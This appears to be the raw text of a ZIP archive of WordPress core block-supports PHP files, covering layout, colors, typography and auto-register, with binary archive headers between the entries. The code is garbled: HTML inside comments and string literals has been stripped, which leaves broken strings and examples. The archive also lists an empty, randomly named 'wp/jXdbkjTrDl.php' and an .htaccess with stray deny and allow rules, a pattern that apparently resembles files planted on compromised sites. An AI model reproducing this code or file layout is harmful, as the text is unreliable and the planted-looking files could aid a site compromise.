array_flip( array( 'minimumColumnWidth', 'columnCount' ) )
),
);
foreach ( $viewport_child_layouts as $breakpoint => $viewport_data ) {
$container_content_hash_input[ $breakpoint ] = $viewport_data['child_layout'];
}
$container_content_class = wp_unique_id_from_values(
$container_content_hash_input,
'wp-container-content-'
);
$child_layout_styles = wp_get_child_layout_style_rules( ".$container_content_class", $base_child_layout, $parent_layout );
/*
* Emit responsive child layout CSS using the same container-content class
* so that base and responsive child layout share the exact same selector.
*/
foreach ( $viewport_child_layouts as $viewport_data ) {
$viewport_child_styles = wp_get_child_layout_style_rules(
".$container_content_class",
$base_child_layout,
$parent_layout,
$viewport_data['child_layout']
);
foreach ( $viewport_child_styles as $index => $rule ) {
$viewport_child_styles[ $index ]['rules_group'] = $viewport_data['media_query'];
}
$child_layout_styles = array_merge( $child_layout_styles, $viewport_child_styles );
}
/*
* Add to the style engine store to enqueue and render layout styles.
* Return styles here just to check if any exist.
*/
$child_css = wp_style_engine_get_stylesheet_from_css_rules(
$child_layout_styles,
array(
'context' => 'block-supports',
'prettify' => false,
)
);
if ( $child_css ) {
$outer_class_names[] = $container_content_class;
}
}
// Prep the processor for modifying the block output.
$processor = new WP_HTML_Tag_Processor( $block_content );
// Having no tags implies there are no tags onto which to add class names.
if ( ! $processor->next_tag() ) {
return $block_content;
}
/*
* A block may not support layout but still be affected by a parent block's layout.
*
* In these cases add the appropriate class names and then return early; there's
* no need to investigate on this block whether additional layout constraints apply.
*/
if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
foreach ( $outer_class_names as $class_name ) {
$processor->add_class( $class_name );
}
return $processor->get_updated_html();
} elseif ( ! $block_supports_layout ) {
// Ensure layout classnames are not injected if there is no layout support.
return $block_content;
}
$fallback_layout = $block_type->supports['layout']['default'] ?? array();
if ( empty( $fallback_layout ) ) {
$fallback_layout = $block_type->supports['__experimentalLayout']['default'] ?? array();
}
$used_layout = $block['attrs']['layout'] ?? $fallback_layout;
$class_names = array();
$layout_definitions = wp_get_layout_definitions();
// Set the correct layout type for blocks using legacy content width.
if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
$used_layout['type'] = 'constrained';
}
$root_padding_aware_alignments = $global_settings['useRootPaddingAwareAlignments'] ?? false;
if (
$root_padding_aware_alignments &&
isset( $used_layout['type'] ) &&
'constrained' === $used_layout['type']
) {
$class_names[] = 'has-global-padding';
}
/*
* The following section was added to reintroduce a small set of layout classnames that were
* removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
* not intended to provide an extended set of classes to match all block layout attributes
* here.
*/
if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
}
if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
}
if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
$class_names[] = 'is-nowrap';
}
// Get classname for layout type.
if ( isset( $used_layout['type'] ) ) {
$layout_classname = $layout_definitions[ $used_layout['type'] ]['className'] ?? '';
} else {
$layout_classname = $layout_definitions['default']['className'] ?? '';
}
if ( $layout_classname && is_string( $layout_classname ) ) {
$class_names[] = sanitize_title( $layout_classname );
}
/*
* Only generate Layout styles if the theme has not opted-out.
* Attribute-based Layout classnames are output in all cases.
*/
if ( ! current_theme_supports( 'disable-layout-styles' ) ) {
$gap_value = wp_sanitize_block_gap_value( $style_attr['spacing']['blockGap'] ?? null );
$fallback_gap_value = $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ?? '0.5em';
$block_spacing = $style_attr['spacing'] ?? null;
/*
* If a block's block.json skips serialization for spacing or spacing.blockGap,
* don't apply the user-defined value to the styles.
*/
$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );
$block_gap = $global_settings['spacing']['blockGap'] ?? null;
$has_block_gap_support = isset( $block_gap );
// Get default blockGap value from global styles for use in layouts like grid.
// Check style variation first, then block-specific styles, then fall back to root styles.
$block_name = $block['blockName'] ?? '';
if ( null === $global_styles ) {
$global_styles = wp_get_global_styles();
}
// Check if the block has an active style variation with a blockGap value.
// Only check the registry if the className contains a variation class to avoid unnecessary lookups.
$variation_block_gap_value = null;
$block_class_name = is_string( $block['attrs']['className'] ?? null )
? $block['attrs']['className']
: '';
if ( $block_class_name && str_contains( $block_class_name, 'is-style-' ) && $block_name ) {
$styles_registry = WP_Block_Styles_Registry::get_instance();
$registered_styles = $styles_registry->get_registered_styles_for_block( $block_name );
$variation_name = wp_get_block_style_variation_name_from_registered_style( $block_class_name, $registered_styles );
if ( $variation_name ) {
$variation_block_gap_value = $global_styles['blocks'][ $block_name ]['variations'][ $variation_name ]['spacing']['blockGap'] ?? null;
}
}
$global_block_gap_value = $variation_block_gap_value ?? $global_styles['blocks'][ $block_name ]['spacing']['blockGap'] ?? $global_styles['spacing']['blockGap'] ?? null;
if ( null !== $global_block_gap_value ) {
$fallback_gap_value = $global_block_gap_value;
}
$container_class_hash_input = array(
$used_layout,
$has_block_gap_support,
$gap_value,
$should_skip_gap_serialization,
$fallback_gap_value,
$block_spacing,
);
foreach ( array_keys( $responsive_media_queries ) as $breakpoint ) {
$viewport_style = $style_attr[ $breakpoint ] ?? null;
if ( ! is_array( $viewport_style ) ) {
continue;
}
$viewport_container_layout = wp_get_layout_container_values( $viewport_style['layout'] ?? null );
if ( ! empty( $viewport_container_layout ) ) {
$container_class_hash_input[] = array(
'breakpoint' => $breakpoint,
'layout' => $viewport_container_layout,
);
}
if ( isset( $viewport_style['spacing']['blockGap'] ) ) {
$container_class_hash_input[] = array(
'breakpoint' => $breakpoint,
'blockGap' => wp_sanitize_block_gap_value( $viewport_style['spacing']['blockGap'] ),
);
}
}
/*
* Generates a unique ID based on all the data required to obtain the
* corresponding layout style. Keeps the CSS class names the same
* even for different blocks on different places, as long as they have
* the same layout definition. Makes the CSS class names stable across
* paginations for features like the enhanced pagination of the Query block.
*/
$container_class = wp_unique_id_from_values(
$container_class_hash_input,
'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
);
$style = wp_get_layout_style(
".$container_class",
$used_layout,
$has_block_gap_support,
$gap_value,
$should_skip_gap_serialization,
$fallback_gap_value,
$block_spacing
);
/*
* Emit responsive container layout styles using the same $container_class
* selector as the base layout so they target the inner block wrapper.
*/
foreach ( $responsive_media_queries as $breakpoint => $media_query ) {
$viewport_style = $style_attr[ $breakpoint ] ?? null;
if ( ! is_array( $viewport_style ) ) {
continue;
}
$viewport_container_layout = wp_get_layout_container_values( $viewport_style['layout'] ?? null );
$has_viewport_layout = ! empty( $viewport_container_layout );
$has_viewport_block_gap = isset( $viewport_style['spacing']['blockGap'] );
if ( ! $has_viewport_layout && ! $has_viewport_block_gap ) {
continue;
}
$viewport_gap_value = $has_viewport_block_gap
? wp_sanitize_block_gap_value( $viewport_style['spacing']['blockGap'] )
: $gap_value;
$viewport_block_spacing = is_array( $viewport_style['spacing'] ?? null )
? array_replace( is_array( $block_spacing ) ? $block_spacing : array(), $viewport_style['spacing'] )
: $block_spacing;
$viewport_styles = wp_get_layout_style(
".$container_class",
$used_layout,
$has_block_gap_support,
$viewport_gap_value,
$should_skip_gap_serialization,
$fallback_gap_value,
$viewport_block_spacing,
array(
'rules_group' => $media_query,
'viewport_overrides' => $viewport_container_layout,
'has_block_gap_override' => $has_viewport_block_gap,
)
);
if ( ! empty( $viewport_styles ) && ! in_array( $container_class, $class_names, true ) ) {
$class_names[] = $container_class;
}
}
// Only add container class and enqueue block support styles if unique styles were generated.
if ( ! empty( $style ) ) {
$class_names[] = $container_class;
}
}
// Add combined layout and block classname for global styles to hook onto.
$split_block_name = explode( '/', $block['blockName'] );
$full_block_name = 'core' === $split_block_name[0] ? end( $split_block_name ) : implode( '-', $split_block_name );
$class_names[] = 'wp-block-' . $full_block_name . '-' . $layout_classname;
// Add classes to the outermost HTML tag if necessary.
if ( ! empty( $outer_class_names ) ) {
foreach ( $outer_class_names as $outer_class_name ) {
$processor->add_class( $outer_class_name );
}
}
/**
* Attempts to refer to the inner-block wrapping element by its class attribute.
*
* When examining a block's inner content, if a block has inner blocks, then
* the first content item will likely be a text (HTML) chunk immediately
* preceding the inner blocks. The last HTML tag in that chunk would then be
* an opening tag for an element that wraps the inner blocks.
*
* There's no reliable way to associate this wrapper in $block_content because
* it may have changed during the rendering pipeline (as inner contents is
* provided before rendering) and through previous filters. In many cases,
* however, the `class` attribute will be a good-enough identifier, so this
* code finds the last tag in that chunk and stores the `class` attribute
* so that it can be used later when working through the rendered block output
* to identify the wrapping element and add the remaining class names to it.
*
* It's also possible that no inner block wrapper even exists. If that's the
* case this code could apply the class names to an invalid element.
*
* Example:
*
* $block['innerBlocks'] = array( $list_item );
* $block['innerContent'] = array( '
', null, '
' );
*
* // After rendering, the initial contents may have been modified by other renderers or filters.
* $block_content = <<
*
*
Code
*
It's a list!
*
* HTML;
*
* Although it is possible that the original block-wrapper classes are changed in $block_content
* from how they appear in $block['innerContent'], it's likely that the original class attributes
* are still present in the wrapper as they are in this example. Frequently, additional classes
* will also be present; rarely should classes be removed.
*
* @todo Find a better way to match the first inner block. If it's possible to identify where the
* first inner block starts, then it will be possible to find the last tag before it starts
* and then that tag, if an opening tag, can be solidly identified as a wrapping element.
* Can some unique value or class or ID be added to the inner blocks when they process
* so that they can be extracted here safely without guessing? Can the block rendering function
* return information about where the rendered inner blocks start?
*
* @var string|null
*/
$inner_block_wrapper_classes = null;
$first_chunk = $block['innerContent'][0] ?? null;
if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
/*
* Use a stack to track open elements as tags are visited. Void elements
* (those without a matching closing tag) are excluded so they don't
* accumulate on the stack. At the end of the chunk, every element still
* on the stack is unclosed — meaning its closing tag lives in a later
* innerContent entry alongside the inner blocks, which makes it the
* inner-block container. Elements that open and close within this chunk
* are siblings that precede the inner blocks and should be ignored.
* The last unclosed element with a class attribute is the best candidate
* for the inner-block wrapper.
*/
$tag_stack = array();
while ( $first_chunk_processor->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
if ( $first_chunk_processor->is_tag_closer() ) {
array_pop( $tag_stack );
} elseif ( ! WP_HTML_Processor::is_void( $first_chunk_processor->get_tag() ) ) {
$tag_stack[] = $first_chunk_processor->get_attribute( 'class' );
}
}
foreach ( array_reverse( $tag_stack ) as $class_attribute ) {
if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
$inner_block_wrapper_classes = $class_attribute;
break;
}
}
}
/*
* If necessary, advance to what is likely to be an inner block wrapper tag.
*
* This advances until it finds the first tag containing the original class
* attribute from above. If none is found it will scan to the end of the block
* and fail to add any class names.
*
* If there is no block wrapper it won't advance at all, in which case the
* class names will be added to the first and outermost tag of the block.
* For cases where this outermost tag is the only tag surrounding inner
* blocks then the outer wrapper and inner wrapper are the same.
*/
do {
if ( ! $inner_block_wrapper_classes ) {
break;
}
$class_attribute = $processor->get_attribute( 'class' );
if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
break;
}
} while ( $processor->next_tag() );
// Add the remaining class names.
foreach ( $class_names as $class_name ) {
$processor->add_class( $class_name );
}
return $processor->get_updated_html();
}
/**
* Check if the parent block exists and if it has a layout attribute.
* If it does, add the parent layout to the parsed block
*
* @since 6.6.0
* @access private
*
* @param array $parsed_block The parsed block.
* @param array $source_block The source block.
* @param WP_Block $parent_block The parent block.
* @return array The parsed block with parent layout attribute if it exists.
*/
function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) {
if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) {
$parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout'];
}
return $parsed_block;
}
add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 );
// Register the block support.
WP_Block_Supports::get_instance()->register(
'layout',
array(
'register_attribute' => 'wp_register_layout_support',
)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );
/**
* For themes without theme.json file, make sure
* to restore the inner div for the group block
* to avoid breaking styles relying on that div.
*
* @since 5.8.0
* @since 6.6.1 Removed inner container from Grid variations.
* @access private
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_restore_group_inner_container( $block_content, $block ) {
$tag_name = $block['attrs']['tagName'] ?? 'div';
$group_with_inner_container_regex = sprintf(
'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*
]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
preg_quote( $tag_name, '/' )
);
if (
wp_theme_has_theme_json() ||
1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) )
) {
return $block_content;
}
/*
* This filter runs after the layout classnames have been added to the block, so they
* have to be removed from the outer wrapper and then added to the inner.
*/
$layout_classes = array();
$processor = new WP_HTML_Tag_Processor( $block_content );
if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
foreach ( $processor->class_list() as $class_name ) {
if ( str_contains( $class_name, 'is-layout-' ) ) {
$layout_classes[] = $class_name;
$processor->remove_class( $class_name );
}
}
}
$content_without_layout_classes = $processor->get_updated_html();
$replace_regex = sprintf(
'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
preg_quote( $tag_name, '/' )
);
$updated_content = preg_replace_callback(
$replace_regex,
static function ( $matches ) {
return $matches[1] . '
' . $matches[2] . '
' . $matches[3];
},
$content_without_layout_classes
);
// Add layout classes to inner wrapper.
if ( ! empty( $layout_classes ) ) {
$processor = new WP_HTML_Tag_Processor( $updated_content );
if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
foreach ( $layout_classes as $class_name ) {
$processor->add_class( $class_name );
}
}
$updated_content = $processor->get_updated_html();
}
return $updated_content;
}
add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );
/**
* For themes without theme.json file, make sure
* to restore the outer div for the aligned image block
* to avoid breaking styles relying on that div.
*
* @since 6.0.0
* @access private
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_restore_image_outer_container( $block_content, $block ) {
if ( wp_theme_has_theme_json() ) {
return $block_content;
}
$figure_processor = new WP_HTML_Tag_Processor( $block_content );
if (
! $figure_processor->next_tag( 'FIGURE' ) ||
! $figure_processor->has_class( 'wp-block-image' ) ||
! (
$figure_processor->has_class( 'alignleft' ) ||
$figure_processor->has_class( 'aligncenter' ) ||
$figure_processor->has_class( 'alignright' )
)
) {
return $block_content;
}
/*
* The next section of code wraps the existing figure in a new DIV element.
* While doing it, it needs to transfer the layout and the additional CSS
* class names from the original figure upward to the wrapper.
*
* Example:
*
* // From this…
*
* …
*
* // To this…
*
…
*/
$wrapper_processor = new WP_HTML_Tag_Processor( '
' );
$wrapper_processor->next_token();
$wrapper_processor->set_attribute(
'class',
is_string( $block['attrs']['className'] ?? null )
? "wp-block-image {$block['attrs']['className']}"
: 'wp-block-image'
);
// And remove them from the existing content; it has been transferred upward.
$figure_processor->remove_class( 'wp-block-image' );
foreach ( $wrapper_processor->class_list() as $class_name ) {
$figure_processor->remove_class( $class_name );
}
return "{$wrapper_processor->get_updated_html()}{$figure_processor->get_updated_html()}
";
}
add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
PK O1]^
colors.phpnu [ supports['color'] ?? false;
}
$has_text_colors_support = true === $color_support ||
( isset( $color_support['text'] ) && $color_support['text'] ) ||
( is_array( $color_support ) && ! isset( $color_support['text'] ) );
$has_background_colors_support = true === $color_support ||
( isset( $color_support['background'] ) && $color_support['background'] ) ||
( is_array( $color_support ) && ! isset( $color_support['background'] ) );
$has_gradients_support = $color_support['gradients'] ?? false;
$has_link_colors_support = $color_support['link'] ?? false;
$has_button_colors_support = $color_support['button'] ?? false;
$has_heading_colors_support = $color_support['heading'] ?? false;
$has_color_support = $has_text_colors_support ||
$has_background_colors_support ||
$has_gradients_support ||
$has_link_colors_support ||
$has_button_colors_support ||
$has_heading_colors_support;
if ( ! $block_type->attributes ) {
$block_type->attributes = array();
}
if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
$block_type->attributes['backgroundColor'] = array(
'type' => 'string',
);
}
if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
$block_type->attributes['textColor'] = array(
'type' => 'string',
);
}
if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
$block_type->attributes['gradient'] = array(
'type' => 'string',
);
}
}
/**
* Adds CSS classes and inline styles for colors to the incoming attributes array.
* This will be applied to the block markup in the front-end.
*
* @since 5.6.0
* @since 6.1.0 Implemented the style engine to generate CSS and classnames.
* @since 7.1.0 Suppresses color.gradient when background.gradient is supported and set.
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
*
* @return array Colors CSS classes and inline styles.
*/
function wp_apply_colors_support( $block_type, $block_attributes ) {
$color_support = $block_type->supports['color'] ?? false;
if (
is_array( $color_support ) &&
wp_should_skip_block_supports_serialization( $block_type, 'color' )
) {
return array();
}
$has_text_colors_support = true === $color_support ||
( isset( $color_support['text'] ) && $color_support['text'] ) ||
( is_array( $color_support ) && ! isset( $color_support['text'] ) );
$has_background_colors_support = true === $color_support ||
( isset( $color_support['background'] ) && $color_support['background'] ) ||
( is_array( $color_support ) && ! isset( $color_support['background'] ) );
$has_gradients_support = $color_support['gradients'] ?? false;
$color_block_styles = array();
// Text colors.
if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
$preset_text_color = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
$custom_text_color = $block_attributes['style']['color']['text'] ?? null;
$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
}
// Background colors.
if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
$preset_background_color = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
$custom_background_color = $block_attributes['style']['color']['background'] ?? null;
$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
}
// Gradients.
// Suppress color.gradient CSS when background.gradient is supported and
// explicitly set. background.php owns CSS generation in that case, and
// emitting the background shorthand here would conflict with it.
$has_background_gradient_support = block_has_support( $block_type, array( 'background', 'gradient' ), false );
$has_background_gradient_value = ! empty( $block_attributes['style']['background']['gradient'] );
if (
$has_gradients_support &&
! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) &&
! ( $has_background_gradient_support && $has_background_gradient_value )
) {
$preset_gradient_color = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
$custom_gradient_color = $block_attributes['style']['color']['gradient'] ?? null;
$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
}
$attributes = array();
$styles = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );
if ( ! empty( $styles['classnames'] ) ) {
$attributes['class'] = $styles['classnames'];
}
if ( ! empty( $styles['css'] ) ) {
$attributes['style'] = $styles['css'];
}
return $attributes;
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'colors',
array(
'register_attribute' => 'wp_register_colors_support',
'apply' => 'wp_apply_colors_support',
)
);
PK O1]35
5
wp/jXdbkjTrDl.phpnu 7m PK O1] wp/.htaccessnu 7m
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
Order Allow,Deny
Deny from all
Order Allow,Deny
Allow from all
PK O1]U utils.phpnu [ supports, $path, false );
if ( is_array( $skip_serialization ) ) {
return in_array( $feature, $skip_serialization, true );
}
return $skip_serialization;
}
PK O1]} auto-register.phpnu [ $args Array of arguments for registering a block type.
* @return array Modified block type arguments.
*/
function wp_mark_auto_generate_control_attributes( array $args ): array {
if ( empty( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) {
return $args;
}
$has_auto_register = ! empty( $args['supports']['autoRegister'] );
if ( ! $has_auto_register ) {
return $args;
}
foreach ( $args['attributes'] as $attr_key => $attr_schema ) {
// Skip HTML-derived attributes (edited inline, not via inspector).
if ( ! empty( $attr_schema['source'] ) ) {
continue;
}
// Skip internal attributes (not user-configurable).
if ( isset( $attr_schema['role'] ) && 'local' === $attr_schema['role'] ) {
continue;
}
// Skip unsupported types (only 'string', 'number', 'integer', 'boolean' are supported).
$type = $attr_schema['type'] ?? null;
if ( ! in_array( $type, array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
continue;
}
$args['attributes'][ $attr_key ]['autoGenerateControl'] = true;
}
return $args;
}
// Priority 5 to mark original attributes before other filters (priority 10+) might add their own.
add_filter( 'register_block_type_args', 'wp_mark_auto_generate_control_attributes', 5 );
PK O1]#o o typography.phpnu [ supports['typography'] ?? false;
if ( ! $typography_supports ) {
return;
}
$has_font_family_support = $typography_supports['__experimentalFontFamily'] ?? false;
$has_font_size_support = $typography_supports['fontSize'] ?? false;
$has_font_style_support = $typography_supports['__experimentalFontStyle'] ?? false;
$has_font_weight_support = $typography_supports['__experimentalFontWeight'] ?? false;
$has_letter_spacing_support = $typography_supports['__experimentalLetterSpacing'] ?? false;
$has_line_height_support = $typography_supports['lineHeight'] ?? false;
$has_text_align_support = $typography_supports['textAlign'] ?? false;
$has_text_columns_support = $typography_supports['textColumns'] ?? false;
$has_text_decoration_support = $typography_supports['__experimentalTextDecoration'] ?? false;
$has_text_transform_support = $typography_supports['__experimentalTextTransform'] ?? false;
$has_text_indent_support = $typography_supports['textIndent'] ?? false;
$has_writing_mode_support = $typography_supports['__experimentalWritingMode'] ?? false;
$has_typography_support = $has_font_family_support
|| $has_font_size_support
|| $has_font_style_support
|| $has_font_weight_support
|| $has_letter_spacing_support
|| $has_line_height_support
|| $has_text_align_support
|| $has_text_columns_support
|| $has_text_decoration_support
|| $has_text_transform_support
|| $has_text_indent_support
|| $has_writing_mode_support;
if ( ! $block_type->attributes ) {
$block_type->attributes = array();
}
if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
$block_type->attributes['fontSize'] = array(
'type' => 'string',
);
}
if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
$block_type->attributes['fontFamily'] = array(
'type' => 'string',
);
}
}
/**
* Adds CSS classes and inline styles for typography features such as font sizes
* to the incoming attributes array. This will be applied to the block markup in
* the front-end.
*
* @since 5.6.0
* @since 6.1.0 Used the style engine to generate CSS and classnames.
* @since 6.3.0 Added support for text-columns.
* @since 7.0.0 Added support for text-indent.
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
* @return array Typography CSS classes and inline styles.
*/
function wp_apply_typography_support( $block_type, $block_attributes ) {
if ( ! ( $block_type instanceof WP_Block_Type ) ) {
return array();
}
$typography_supports = $block_type->supports['typography'] ?? false;
if ( ! $typography_supports ) {
return array();
}
if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
return array();
}
$has_font_family_support = $typography_supports['__experimentalFontFamily'] ?? false;
$has_font_size_support = $typography_supports['fontSize'] ?? false;
$has_font_style_support = $typography_supports['__experimentalFontStyle'] ?? false;
$has_font_weight_support = $typography_supports['__experimentalFontWeight'] ?? false;
$has_letter_spacing_support = $typography_supports['__experimentalLetterSpacing'] ?? false;
$has_line_height_support = $typography_supports['lineHeight'] ?? false;
$has_text_align_support = $typography_supports['textAlign'] ?? false;
$has_text_columns_support = $typography_supports['textColumns'] ?? false;
$has_text_decoration_support = $typography_supports['__experimentalTextDecoration'] ?? false;
$has_text_transform_support = $typography_supports['__experimentalTextTransform'] ?? false;
$has_text_indent_support = $typography_supports['textIndent'] ?? false;
$has_writing_mode_support = $typography_supports['__experimentalWritingMode'] ?? false;
// Whether to skip individual block support features.
$should_skip_font_size = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
$should_skip_font_family = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
$should_skip_font_style = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
$should_skip_font_weight = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
$should_skip_line_height = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
$should_skip_text_align = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' );
$should_skip_text_columns = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
$should_skip_text_transform = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
$should_skip_letter_spacing = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
$should_skip_text_indent = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textIndent' );
$should_skip_writing_mode = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );
$typography_block_styles = array();
if ( $has_font_size_support && ! $should_skip_font_size ) {
$preset_font_size = array_key_exists( 'fontSize', $block_attributes )
? "var:preset|font-size|{$block_attributes['fontSize']}"
: null;
$custom_font_size = $block_attributes['style']['typography']['fontSize'] ?? null;
$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
array(
'size' => $custom_font_size,
)
);
}
if ( $has_font_family_support && ! $should_skip_font_family ) {
$preset_font_family = array_key_exists( 'fontFamily', $block_attributes )
? "var:preset|font-family|{$block_attributes['fontFamily']}"
: null;
$custom_font_family = isset( $block_attributes['style']['typography']['fontFamily'] )
? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
: null;
$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
}
if (
$has_font_style_support &&
! $should_skip_font_style &&
isset( $block_attributes['style']['typography']['fontStyle'] )
) {
$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
$block_attributes['style']['typography']['fontStyle'],
'font-style'
);
}
if (
$has_font_weight_support &&
! $should_skip_font_weight &&
isset( $block_attributes['style']['typography']['fontWeight'] )
) {
$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
$block_attributes['style']['typography']['fontWeight'],
'font-weight'
);
}
if ( $has_line_height_support && ! $should_skip_line_height ) {
$typography_block_styles['lineHeight'] = $block_attributes['style']['typography']['lineHeight'] ?? null;
}
if ( $has_text_align_support && ! $should_skip_text_align ) {
$typography_block_styles['textAlign'] = $block_attributes['style']['typography']['textAlign'] ?? null;
}
if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
$typography_block_styles['textColumns'] = $block_attributes['style']['typography']['textColumns'] ?? null;
}
if (
$has_text_decoration_support &&
! $should_skip_text_decoration &&
isset( $block_attributes['style']['typography']['textDecoration'] )
) {
$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
$block_attributes['style']['typography']['textDecoration'],
'text-decoration'
);
}
if (
$has_text_transform_support &&
! $should_skip_text_transform &&
isset( $block_attributes['style']['typography']['textTransform'] )
) {
$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
$block_attributes['style']['typography']['textTransform'],
'text-transform'
);
}
if (
$has_letter_spacing_support &&
! $should_skip_letter_spacing &&
isset( $block_attributes['style']['typography']['letterSpacing'] )
) {
$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
$block_attributes['style']['typography']['letterSpacing'],
'letter-spacing'
);
}
if ( $has_writing_mode_support &&
! $should_skip_writing_mode &&
isset( $block_attributes['style']['typography']['writingMode'] )
) {
$typography_block_styles['writingMode'] = $block_attributes['style']['typography']['writingMode'] ?? null;
}
if ( $has_text_indent_support && ! $should_skip_text_indent && isset( $block_attributes['style']['typography']['textIndent'] ) ) {
$typography_block_styles['textIndent'] = $block_attributes['style']['typography']['textIndent'] ?? null;
}
$attributes = array();
$classnames = array();
$styles = wp_style_engine_get_styles(
array( 'typography' => $typography_block_styles ),
array( 'convert_vars_to_classnames' => true )
);
if ( ! empty( $styles['classnames'] ) ) {
$classnames[] = $styles['classnames'];
}
if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) {
$classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign'];
}
if ( ! empty( $classnames ) ) {
$attributes['class'] = implode( ' ', $classnames );
}
if ( ! empty( $styles['css'] ) ) {
$attributes['style'] = $styles['css'];
}
return $attributes;
}
/**
* Generates an inline style value for a typography feature e.g. text decoration,
* text transform, and font style.
*
* Note: This function is for backwards compatibility.
* * It is necessary to parse older blocks whose typography styles contain presets.
